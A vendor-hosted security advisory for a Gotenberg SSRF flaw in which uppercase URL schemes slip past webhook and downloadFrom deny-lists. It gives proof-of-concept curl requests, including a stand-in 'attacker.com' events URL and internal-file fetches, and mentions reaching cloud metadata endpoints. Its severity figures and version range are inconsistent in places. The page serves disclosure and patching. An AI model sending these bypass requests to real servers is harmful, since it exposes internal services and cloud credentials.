GHSA-5q7p-7jgv-ww56
CRITICALGHSA-5q7p-7jgv-ww56 is a critical-severity (CVSS 9.3) vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-5q7p-7jgv-ww56 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection
Blast Radius
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Details
CWE: CWE-918 - Server-Side Request Forgery (SSRF)
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.
Summary
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.
The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.
Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)
Steps to Reproduce
1. Start Gotenberg:
docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8
2. Baseline — lowercase http:// is blocked (HTTP 403):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"
4. downloadFrom bypass (response content included in PDF):
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed
Impact
An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.
Fix
Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | 8.31.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5q7p-7jgv-ww56 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5q7p-7jgv-ww56 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5q7p-7jgv-ww56. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5q7p-7jgv-ww56 in your dependencies?
O3 detects GHSA-5q7p-7jgv-ww56 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.